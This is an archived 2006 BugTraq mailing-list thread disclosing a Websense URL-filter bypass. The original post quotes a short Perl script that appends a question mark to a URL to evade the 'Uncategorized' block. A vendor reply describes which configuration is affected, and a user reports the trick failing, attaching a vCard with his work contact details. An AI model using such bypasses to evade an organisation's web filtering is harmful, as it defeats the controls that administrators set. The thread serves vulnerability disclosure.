BugTraq
RE: [BULK] - Websense Filter Bypass Apr 21 2006 07:33PM
John E. Fleming (John parcassets com)
We did a test as well and were still blocked. Simply add a "?" question
mark correct? We put www.ibm.com in the "uncategorized" category as a
test. Websense version we are using is 6.1

We block uncategorized and allow dynamic.

John

-----Original Message-----
From: Hubbard, Dan [mailto:dhubbard (at) websense (dot) com [email concealed]]
Sent: Friday, April 21, 2006 1:12 PM
To: qex (at) bsdmail (dot) org [email concealed]; bugtraq (at) securityfocus (dot) com [email concealed]
Subject: RE: [BULK] - Websense Filter Bypass

All;

We have received this report and are investigating. Our preliminary
tests show that this only works when customers block the uncategorized
URL category and allow the dynamic content category.

If you do not block uncategorized you should not be affected.

-----Original Message-----
From: qex (at) bsdmail (dot) org [email concealed] [mailto:qex (at) bsdmail (dot) org [email concealed]]
Sent: Thursday, April 20, 2006 5:04 AM
To: bugtraq (at) securityfocus (dot) com [email concealed]
Subject: [BULK] - Websense Filter Bypass

#!/usr/bin/perl -w
#
# Websense Filter Bypass
#
# ====================
# Discovered by: Qex
# Date: 19 April 2006
# ====================
#
# Bypass any website that is in the "Uncategorized" Websense Category #
simply by adding a question mark (?) at the end of the URL.

print q(
Websense Filter Bypass

====================
Discovered by: Qex
Date: 19 April 2006
====================
)

print "Enter URL:\n";

$url = <STDIN>;

chomp $url;

$bypass = "$url/?";

print "\nURL: \n$bypass\n";
BEGIN:VCARD

VERSION:2.1

N:Fleming;John

FN:John E. Fleming

ORG:Premium Asset Recovery Corp., Inc.;Information Systems

TITLE:Database Manager/Programmer

TEL;WORK;VOICE:561-447-9271 ext.1078

ADR;WORK;ENCODING=QUOTED-PRINTABLE:;;350 Jim Moran Blvd=0D=0ASuite 210;Deerfield Beach;FL;33442;United States

LABEL;WORK;ENCODING=QUOTED-PRINTABLE:350 Jim Moran Blvd=0D=0ASuite 210=0D=0ADeerfield Beach, FL 33442=0D=0AUnited=

States

EMAIL;PREF;INTERNET:John (at) parcassets (dot) com [email concealed]

REV:20060320T185508Z

END:VCARD

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